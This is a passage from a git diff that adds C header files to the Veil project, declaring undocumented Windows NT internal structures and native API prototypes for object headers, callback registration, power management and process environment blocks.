ObjectCreateInfo; + PVOID QuotaBlockCharged; + }; + + PVOID SecurityDescriptor; + QUAD Body; + +} OBJECT_HEADER, * POBJECT_HEADER; +C_ASSERT(sizeof(OBJECT_HEADER) == (sizeof(void*) == sizeof(__int32) ? 0x0020 : 0x0038)); + +#include +// end: Object Header + +NTKERNELAPI +POBJECT_HEADER_NAME_INFO +NTAPI +ObQueryNameInfo( + _In_ PVOID Object +); + +NTKERNELAPI +POBJECT_TYPE +NTAPI +ObGetObjectType( + _In_ PVOID Object +); + +NTKERNELAPI +NTSTATUS +NTAPI +ObDuplicateObject( + _In_ PEPROCESS SourceProcess, + _In_ HANDLE SourceHandle, + _In_opt_ PEPROCESS TargetProcess, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options, + _In_ KPROCESSOR_MODE PreviousMode +); + +NTKERNELAPI +NTSTATUS +NTAPI +ObSetHandleAttributes( + _In_ HANDLE Handle, + _In_ POBJECT_HANDLE_FLAG_INFORMATION HandleFlags, + _In_ KPROCESSOR_MODE PreviousMode +); + +// begin: ObRegisterCallbacks() cookie struct +#include + +// private +// +// ObRegisterCallbacks() cookie's memory layout +// +// +-------------------------------------------+ +// | OB_CALLBACK_OBJECT_HEADER | +// +-------------------------------------------+ +// | OB_CALLBACK_OBJECT_BODY[Header.BodyCount] | +// +-------------------------------------------+ +// | WCHAR AltitudeBuffer[Altitude.Length] | +// +-------------------------------------------+ +// + +typedef struct _OB_CALLBACK_OBJECT_BODY +{ + // all OB_CALLBACK_BODY + // Header -> OBJECT_TYPE.CallbackList + LIST_ENTRY ListEntry; + + OB_OPERATION Operations; + ULONG Always_1; + + // Self + struct _OB_CALLBACK_OBJECT_HEADER* CallbackObject; + + POBJECT_TYPE ObjectType; + POB_PRE_OPERATION_CALLBACK PreOperation; + POB_POST_OPERATION_CALLBACK PostOperation; + + ULONG Reserved; + +}OB_CALLBACK_OBJECT_BODY, *POB_CALLBACK_OBJECT_BODY; + +typedef struct _OB_CALLBACK_OBJECT_HEADER +{ + USHORT Version; // ObGetFilterVersion() + USHORT BodyCount; + PVOID RegistrationContext; + UNICODE_STRING Altitude; + + OB_CALLBACK_OBJECT_BODY Body[ANYSIZE_ARRAY]; + +}OB_CALLBACK_OBJECT_HEADER, *POB_CALLBACK_OBJECT_HEADER; + +#include +// end: ObRegisterCallbacks() cookie struct + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.PowerManager.h b/include/Veil/Veil/Veil.System.PowerManager.h new file mode 100644 index 0000000..e2fd84e --- /dev/null +++ b/include/Veil/Veil/Veil.System.PowerManager.h @@ -0,0 +1,605 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +typedef struct _PROCESSOR_POWER_INFORMATION +{ + ULONG Number; + ULONG MaxMhz; + ULONG CurrentMhz; + ULONG MhzLimit; + ULONG MaxIdleState; + ULONG CurrentIdleState; +} PROCESSOR_POWER_INFORMATION, * PPROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_POWER_INFORMATION +{ + ULONG MaxIdlenessAllowed; + ULONG Idleness; + ULONG TimeRemaining; + UCHAR CoolingMode; +} SYSTEM_POWER_INFORMATION, * PSYSTEM_POWER_INFORMATION; + +typedef struct _SYSTEM_HIBERFILE_INFORMATION +{ + ULONG NumberOfMcbPairs; + LARGE_INTEGER Mcb[1]; +} SYSTEM_HIBERFILE_INFORMATION, * PSYSTEM_HIBERFILE_INFORMATION; + +#define POWER_REQUEST_CONTEXT_NOT_SPECIFIED DIAGNOSTIC_REASON_NOT_SPECIFIED + +// enum _POWER_REQUEST_TYPE +#define PowerRequestDisplayRequired ((_POWER_REQUEST_TYPE)0) +#define PowerRequestSystemRequired ((_POWER_REQUEST_TYPE)1) +#define PowerRequestAwayModeRequired ((_POWER_REQUEST_TYPE)2) +#define PowerRequestExecutionRequired ((_POWER_REQUEST_TYPE)3) +#define PowerRequestPerfBoostRequired ((_POWER_REQUEST_TYPE)4) +#define PowerRequestActiveLockScreen ((_POWER_REQUEST_TYPE)5) +#define PowerRequestInvalid ((_POWER_REQUEST_TYPE)6) +#define PowerRequestUnknown ((_POWER_REQUEST_TYPE)7) +#define PowerRequestFullScreenVideoRequired ((_POWER_REQUEST_TYPE)8) + +#ifndef _KERNEL_MODE +typedef struct _POWER_REQUEST_ACTION +{ + HANDLE PowerRequestHandle; + POWER_REQUEST_TYPE RequestType; + BOOLEAN SetAction; + HANDLE ProcessHandle; // Windows 8+ and only for requests created via PlmPowerRequestCreate +} POWER_REQUEST_ACTION, * PPOWER_REQUEST_ACTION; + +typedef union _POWER_STATE +{ + SYSTEM_POWER_STATE SystemState; + DEVICE_POWER_STATE DeviceState; +} POWER_STATE, * PPOWER_STATE; + +typedef enum _POWER_STATE_TYPE +{ + SystemPowerState = 0, + DevicePowerState +} POWER_STATE_TYPE, * PPOWER_STATE_TYPE; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +typedef struct _SYSTEM_POWER_STATE_CONTEXT +{ + union + { + struct + { + ULONG Reserved1 : 8; + ULONG TargetSystemState : 4; + ULONG EffectiveSystemState : 4; + ULONG CurrentSystemState : 4; + ULONG IgnoreHibernationPath : 1; + ULONG PseudoTransition : 1; + ULONG KernelSoftReboot : 1; + ULONG DirectedDripsTransition : 1; + ULONG Reserved2 : 8; + }; + + ULONG ContextAsUlong; + }; +} SYSTEM_POWER_STATE_CONTEXT, * PSYSTEM_POWER_STATE_CONTEXT; +#endif // (NTDDI_VERSION >= NTDDI_VISTA) + +#if (NTDDI_VERSION >= NTDDI_WIN7) +typedef struct _COUNTED_REASON_CONTEXT +{ + ULONG Version; + ULONG Flags; + union + { + struct + { + UNICODE_STRING ResourceFileName; + USHORT ResourceReasonId; + ULONG StringCount; + _Field_size_(StringCount) PUNICODE_STRING ReasonStrings; + }; + + UNICODE_STRING SimpleString; + }; +} COUNTED_REASON_CONTEXT, * PCOUNTED_REASON_CONTEXT; +#endif // (NTDDI_VERSION >= NTDDI_WIN7) +#endif // !_KERNEL_MODE + +typedef enum _REQUESTER_TYPE +{ + KernelRequester = 0, + UserProcessRequester = 1, + UserSharedServiceRequester = 2 +} REQUESTER_TYPE; + +typedef struct _COUNTED_REASON_CONTEXT_RELATIVE +{ + ULONG Flags; + union + { + struct + { + ULONG_PTR ResourceFileNameOffset; + USHORT ResourceReasonId; + ULONG StringCount; + ULONG_PTR SubstitutionStringsOffset; + }; + ULONG_PTR SimpleStringOffset; + }; +} COUNTED_REASON_CONTEXT_RELATIVE, * PCOUNTED_REASON_CONTEXT_RELATIVE; + +typedef struct _DIAGNOSTIC_BUFFER +{ + SIZE_T Size; + REQUESTER_TYPE CallerType; + union + { + struct + { + ULONG_PTR ProcessImageNameOffset; // PWSTR + ULONG ProcessId; + ULONG ServiceTag; + }; + struct + { + ULONG_PTR DeviceDescriptionOffset; // PWSTR + ULONG_PTR DevicePathOffset; // PWSTR + }; + }; + ULONG_PTR ReasonOffset; // PCOUNTED_REASON_CONTEXT_RELATIVE +} DIAGNOSTIC_BUFFER, * PDIAGNOSTIC_BUFFER; + +// The number of supported request types per version +#define POWER_REQUEST_SUPPORTED_TYPES_V1 3 // Windows 7 +#define POWER_REQUEST_SUPPORTED_TYPES_V2 9 // Windows 8 +#define POWER_REQUEST_SUPPORTED_TYPES_V3 5 // Windows 8.1 and Windows 10 TH1-TH2 +#define POWER_REQUEST_SUPPORTED_TYPES_V4 6 // Windows 10 RS1+ + +typedef struct _POWER_REQUEST +{ + union + { + struct + { + ULONG SupportedRequestMask; + ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V1]; + DIAGNOSTIC_BUFFER DiagnosticBuffer; + } V1; +#if (NTDDI_VERSION >= NTDDI_WIN8) + struct + { + ULONG SupportedRequestMask; + ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V2]; + DIAGNOSTIC_BUFFER DiagnosticBuffer; + } V2; +#endif +#if (NTDDI_VERSION >= NTDDI_WINBLUE) + struct + { + ULONG SupportedRequestMask; + ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V3]; + DIAGNOSTIC_BUFFER DiagnosticBuffer; + } V3; +#endif +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) + struct + { + ULONG SupportedRequestMask; + ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V4]; + DIAGNOSTIC_BUFFER DiagnosticBuffer; + } V4; +#endif + }; +} POWER_REQUEST, * PPOWER_REQUEST; + +typedef struct _POWER_REQUEST_LIST +{ + ULONG_PTR Count; + ULONG_PTR PowerRequestOffsets[ANYSIZE_ARRAY]; // PPOWER_REQUEST +} POWER_REQUEST_LIST, * PPOWER_REQUEST_LIST; + +typedef enum _POWER_STATE_HANDLER_TYPE +{ + PowerStateSleeping1 = 0, + PowerStateSleeping2 = 1, + PowerStateSleeping3 = 2, + PowerStateSleeping4 = 3, + PowerStateShutdownOff = 4, + PowerStateShutdownReset = 5, + PowerStateSleeping4Firmware = 6, + PowerStateMaximum = 7 +} POWER_STATE_HANDLER_TYPE, * PPOWER_STATE_HANDLER_TYPE; + +typedef NTSTATUS(NTAPI* PENTER_STATE_SYSTEM_HANDLER)( + _In_ PVOID SystemContext + ); + +typedef NTSTATUS(NTAPI* PENTER_STATE_HANDLER)( + _In_ PVOID Context, + _In_opt_ PENTER_STATE_SYSTEM_HANDLER SystemHandler, + _In_ PVOID SystemContext, + _In_ LONG NumberProcessors, + _In_ LONG volatile* Number + ); + +typedef struct _POWER_STATE_HANDLER +{ + POWER_STATE_HANDLER_TYPE Type; + BOOLEAN RtcWake; + UCHAR Spare[3]; + PENTER_STATE_HANDLER Handler; + PVOID Context; +} POWER_STATE_HANDLER, * PPOWER_STATE_HANDLER; + +typedef NTSTATUS(NTAPI* PENTER_STATE_NOTIFY_HANDLER)( + _In_ POWER_STATE_HANDLER_TYPE State, + _In_ PVOID Context, + _In_ BOOLEAN Entering + ); + +typedef struct _POWER_STATE_NOTIFY_HANDLER +{ + PENTER_STATE_NOTIFY_HANDLER Handler; + PVOID Context; +} POWER_STATE_NOTIFY_HANDLER, * PPOWER_STATE_NOTIFY_HANDLER; + +typedef struct _POWER_REQUEST_ACTION_INTERNAL +{ + PVOID PowerRequestPointer; + POWER_REQUEST_TYPE RequestType; + BOOLEAN SetAction; +} POWER_REQUEST_ACTION_INTERNAL, * PPOWER_REQUEST_ACTION_INTERNAL; + +typedef enum _POWER_INFORMATION_LEVEL_INTERNAL +{ + PowerInternalAcpiInterfaceRegister, + PowerInternalS0LowPowerIdleInfo, // POWER_S0_LOW_POWER_IDLE_INFO + PowerInternalReapplyBrightnessSettings, + PowerInternalUserAbsencePrediction, // POWER_USER_ABSENCE_PREDICTION + PowerInternalUserAbsencePredictionCapability, // POWER_USER_ABSENCE_PREDICTION_CAPABILITY + PowerInternalPoProcessorLatencyHint, // POWER_PROCESSOR_LATENCY_HINT + PowerInternalStandbyNetworkRequest, // POWER_STANDBY_NETWORK_REQUEST + PowerInternalDirtyTransitionInformation, + PowerInternalSetBackgroundTaskState, // POWER_SET_BACKGROUND_TASK_STATE + PowerInternalTtmOpenTerminal, + PowerInternalTtmCreateTerminal, // 10 + PowerInternalTtmEvacuateDevices, + PowerInternalTtmCreateTerminalEventQueue, + PowerInternalTtmGetTerminalEvent, + PowerInternalTtmSetDefaultDeviceAssignment, + PowerInternalTtmAssignDevice, + PowerInternalTtmSetDisplayState, + PowerInternalTtmSetDisplayTimeouts, + PowerInternalBootSessionStandbyActivationInformation, + PowerInternalSessionPowerState, + PowerInternalSessionTerminalInput, // 20 + PowerInternalSetWatchdog, + PowerInternalPhysicalPowerButtonPressInfoAtBoot, + PowerInternalExternalMonitorConnected, + PowerInternalHighPrecisionBrightnessSettings, + PowerInternalWinrtScreenToggle, + PowerInternalPpmQosDisable, + PowerInternalTransitionCheckpoint, + PowerInternalInputControllerState, + PowerInternalFirmwareResetReason, + PowerInternalPpmSchedulerQosSupport, // 30 + PowerInternalBootStatGet, + PowerInternalBootStatSet, + PowerInternalCallHasNotReturnedWatchdog, + PowerInternalBootStatCheckIntegrity, + PowerInternalBootStatRestoreDefaults, // in: void + PowerInternalHostEsStateUpdate, + PowerInternalGetPowerActionState, + PowerInternalBootStatUnlock, + PowerInternalWakeOnVoiceState, + PowerInternalDeepSleepBlock, // 40 + PowerInternalIsPoFxDevice, + PowerInternalPowerTransitionExtensionAtBoot, + PowerInternalProcessorBrandedFrequency, // in: POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT, out: POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT + PowerInternalTimeBrokerExpirationReason, + PowerInternalNotifyUserShutdownStatus, + PowerInternalPowerRequestTerminalCoreWindow, + PowerInternalProcessorIdleVeto, + PowerInternalPlatformIdleVeto, + PowerInternalIsLongPowerButtonBugcheckEnabled, + PowerInternalAutoChkCausedReboot, // 50 + PowerInternalSetWakeAlarmOverride, + + PowerInternalDirectedFxAddTestDevice = 53, + PowerInternalDirectedFxRemoveTestDevice, + + PowerInternalDirectedFxSetMode = 56, + PowerInternalRegisterPowerPlane, + PowerInternalSetDirectedDripsFlags, + PowerInternalClearDirectedDripsFlags, + PowerInternalRetrieveHiberFileResumeContext, // 60 + PowerInternalReadHiberFilePage, + PowerInternalLastBootSucceeded, // out: BOOLEAN + PowerInternalQuerySleepStudyHelperRoutineBlock, + PowerInternalDirectedDripsQueryCapabilities, + PowerInternalClearConstraints, + PowerInternalSoftParkVelocityEnabled, + PowerInternalQueryIntelPepCapabilities, + PowerInternalGetSystemIdleLoopEnablement, // since WIN11 + PowerInternalGetVmPerfControlSupport, + PowerInternalGetVmPerfControlConfig, // 70 + PowerInternalSleepDetailedDiagUpdate, + PowerInternalProcessorClassFrequencyBandsStats, + PowerInternalHostGlobalUserPresenceStateUpdate, + PowerInternalCpuNodeIdleIntervalStats, + PowerInternalClassIdleIntervalStats, + PowerInternalCpuNodeConcurrencyStats, + PowerInternalClassConcurrencyStats, + PowerInternalQueryProcMeasurementCapabilities, + PowerInternalQueryProcMeasurementValues, + PowerInternalPrepareForSystemInitiatedReboot, // 80 + PowerInternalGetAdaptiveSessionState, + PowerInternalSetConsoleLockedState, + PowerInternalOverrideSystemInitiatedRebootState, + PowerInternalFanImpactStats, + PowerInternalFanRpmBuckets, + PowerInternalPowerBootAppDiagInfo, + PowerInternalUnregisterShutdownNotification, // since 22H1 + PowerInternalManageTransitionStateRecord, + PowerInformationInternalMaximum +} POWER_INFORMATION_LEVEL_INTERNAL; + +typedef enum _POWER_S0_DISCONNECTED_REASON +{ + PoS0DisconnectedReasonNone, + PoS0DisconnectedReasonNonCompliantNic, + PoS0DisconnectedReasonSettingPolicy, + PoS0DisconnectedReasonEnforceDsPolicy, + PoS0DisconnectedReasonCsChecksFailed, + PoS0DisconnectedReasonSmartStandby, + PoS0DisconnectedReasonMaximum +} POWER_S0_DISCONNECTED_REASON; + +typedef struct _POWER_S0_LOW_POWER_IDLE_INFO +{ + POWER_S0_DISCONNECTED_REASON DisconnectedReason; + union + { + BOOLEAN Storage : 1; + BOOLEAN WiFi : 1; + BOOLEAN Mbn : 1; + BOOLEAN Ethernet : 1; + BOOLEAN Reserved : 4; + UCHAR AsUCHAR; + } CsDeviceCompliance; + union + { + BOOLEAN DisconnectInStandby : 1; + BOOLEAN EnforceDs : 1; + BOOLEAN Reserved : 6; + UCHAR AsUCHAR; + } Policy; +} POWER_S0_LOW_POWER_IDLE_INFO, * PPOWER_S0_LOW_POWER_IDLE_INFO; + +typedef struct _POWER_INFORMATION_INTERNAL_HEADER +{ + POWER_INFORMATION_LEVEL_INTERNAL InternalType; + ULONG Version; +} POWER_INFORMATION_INTERNAL_HEADER, * PPOWER_INFORMATION_INTERNAL_HEADER; + +typedef struct _POWER_USER_ABSENCE_PREDICTION +{ + POWER_INFORMATION_INTERNAL_HEADER Header; + LARGE_INTEGER ReturnTime; +} POWER_USER_ABSENCE_PREDICTION, * PPOWER_USER_ABSENCE_PREDICTION; + +typedef struct _POWER_USER_ABSENCE_PREDICTION_CAPABILITY +{ + BOOLEAN AbsencePredictionCapability; +} POWER_USER_ABSENCE_PREDICTION_CAPABILITY, * PPOWER_USER_ABSENCE_PREDICTION_CAPABILITY; + +typedef struct _POWER_PROCESSOR_LATENCY_HINT +{ + POWER_INFORMATION_INTERNAL_HEADER PowerInformationInternalHeader; + ULONG Type; +} POWER_PROCESSOR_LATENCY_HINT, * PPO_PROCESSOR_LATENCY_HINT; + +typedef struct _POWER_STANDBY_NETWORK_REQUEST +{ + POWER_INFORMATION_INTERNAL_HEADER PowerInformationInternalHeader; + BOOLEAN Active; +} POWER_STANDBY_NETWORK_REQUEST, * PPOWER_STANDBY_NETWORK_REQUEST; + +typedef struct _POWER_SET_BACKGROUND_TASK_STATE +{ + POWER_INFORMATION_INTERNAL_HEADER PowerInformationInternalHeader; + BOOLEAN Engaged; +} POWER_SET_BACKGROUND_TASK_STATE, * PPOWER_SET_BACKGROUND_TASK_STATE; + +typedef struct POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT +{ + POWER_INFORMATION_LEVEL_INTERNAL InternalType; + PROCESSOR_NUMBER ProcessorNumber; // ULONG_MAX +} POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT, * PPOWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT; + +typedef struct POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT +{ + ULONG Version; + ULONG NominalFrequency; // if (Domain) Prcb->PowerState.CheckContext.Domain.NominalFrequency else Prcb->MHz +} POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT, * PPOWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT; + +_IRQL_requires_max_(APC_LEVEL) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPowerInformation( + _In_ POWER_INFORMATION_LEVEL InformationLevel, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPowerInformation( + _In_ POWER_INFORMATION_LEVEL InformationLevel, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetThreadExecutionState( + _In_ EXECUTION_STATE NewFlags, // ES_* flags + _Out_ EXECUTION_STATE* PreviousFlags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetThreadExecutionState( + _In_ EXECUTION_STATE NewFlags, // ES_* flags + _Out_ EXECUTION_STATE* PreviousFlags +); + +#if (NTDDI_VERSION < NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRequestWakeupLatency( + _In_ LATENCY_TIME latency +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRequestWakeupLatency( + _In_ LATENCY_TIME latency +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitiatePowerAction( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags, // POWER_ACTION_* flags + _In_ BOOLEAN Asynchronous +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitiatePowerAction( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags, // POWER_ACTION_* flags + _In_ BOOLEAN Asynchronous +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemPowerState( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags // POWER_ACTION_* flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSystemPowerState( + _In_ POWER_ACTION SystemAction, + _In_ SYSTEM_POWER_STATE LightestSystemState, + _In_ ULONG Flags // POWER_ACTION_* flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetDevicePowerState( + _In_ HANDLE Device, + _Out_ PDEVICE_POWER_STATE State +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetDevicePowerState( + _In_ HANDLE Device, + _Out_ PDEVICE_POWER_STATE State +); + +__kernel_entry NTSYSCALLAPI +BOOLEAN +NTAPI +NtIsSystemResumeAutomatic( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +ZwIsSystemResumeAutomatic( + VOID +); + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Process.h b/include/Veil/Veil/Veil.System.Process.h new file mode 100644 index 0000000..6a93e80 --- /dev/null +++ b/include/Veil/Veil/Veil.System.Process.h @@ -0,0 +1,4035 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifdef _KERNEL_MODE +#define PROCESS_TERMINATE 0x0001 +#define PROCESS_CREATE_THREAD 0x0002 +#define PROCESS_SET_SESSIONID 0x0004 +#define PROCESS_VM_OPERATION 0x0008 +#define PROCESS_VM_READ 0x0010 +#define PROCESS_VM_WRITE 0x0020 +#define PROCESS_CREATE_PROCESS 0x0080 +#define PROCESS_SET_QUOTA 0x0100 +#define PROCESS_SET_INFORMATION 0x0200 +#define PROCESS_QUERY_INFORMATION 0x0400 +#define PROCESS_SET_PORT 0x0800 +#define PROCESS_SUSPEND_RESUME 0x0800 +#define PROCESS_QUERY_LIMITED_INFORMATION 0x1000 +#else +#ifndef PROCESS_SET_PORT +#define PROCESS_SET_PORT 0x0800 +#endif +#endif + +#ifdef _KERNEL_MODE +#define THREAD_QUERY_INFORMATION 0x0040 +#define THREAD_SET_THREAD_TOKEN 0x0080 +#define THREAD_IMPERSONATE 0x0100 +#define THREAD_DIRECT_IMPERSONATION 0x0200 +#else +#ifndef THREAD_ALERT +#define THREAD_ALERT 0x0004 +#endif +#endif + +#ifdef _KERNEL_MODE +#define JOB_OBJECT_ASSIGN_PROCESS 0x0001 +#define JOB_OBJECT_SET_ATTRIBUTES 0x0002 +#define JOB_OBJECT_QUERY 0x0004 +#define JOB_OBJECT_TERMINATE 0x0008 +#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES 0x0010 +#define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x3F) +#endif + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#ifndef _WIN64 +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; + +#ifndef FLS_MAXIMUM_AVAILABLE +#define FLS_MAXIMUM_AVAILABLE 128 +#endif +#ifndef TLS_MINIMUM_AVAILABLE +#define TLS_MINIMUM_AVAILABLE 64 +#endif +#ifndef TLS_EXPANSION_SLOTS +#define TLS_EXPANSION_SLOTS 1024 +#endif + +// symbols +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _INITIAL_TEB +{ + struct + { + PVOID OldStackBase; + PVOID OldStackLimit; + } OldInitialTeb; + PVOID StackBase; + PVOID StackLimit; + PVOID StackAllocationBase; +} INITIAL_TEB, * PINITIAL_TEB; + +typedef struct _RTL_USER_PROCESS_PARAMETERS* PRTL_USER_PROCESS_PARAMETERS; +typedef struct _RTL_CRITICAL_SECTION* PRTL_CRITICAL_SECTION; + +// private +typedef struct _ACTIVATION_CONTEXT_STACK +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +// private +typedef struct _API_SET_NAMESPACE +{ + ULONG Version; + ULONG Size; + ULONG Flags; + ULONG Count; + ULONG EntryOffset; + ULONG HashOffset; + ULONG HashFactor; +} API_SET_NAMESPACE, * PAPI_SET_NAMESPACE; + +// private +typedef struct _API_SET_HASH_ENTRY +{ + ULONG Hash; + ULONG Index; +} API_SET_HASH_ENTRY, * PAPI_SET_HASH_ENTRY; + +// private +typedef struct _API_SET_NAMESPACE_ENTRY +{ + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG HashedLength; + ULONG ValueOffset; + ULONG ValueCount; +} API_SET_NAMESPACE_ENTRY, * PAPI_SET_NAMESPACE_ENTRY; + +// private +typedef struct _API_SET_VALUE_ENTRY +{ + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG ValueOffset; + ULONG ValueLength; +} API_SET_VALUE_ENTRY, * PAPI_SET_VALUE_ENTRY; + +// symbols +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN IsPackagedProcess : 1; + BOOLEAN IsAppContainer : 1; + BOOLEAN IsProtectedProcessLight : 1; + BOOLEAN IsLongPathAwareProcess : 1; + }; + }; + + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PSLIST_HEADER AtlThunkSListPtr; + PVOID IFEOKey; + + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + 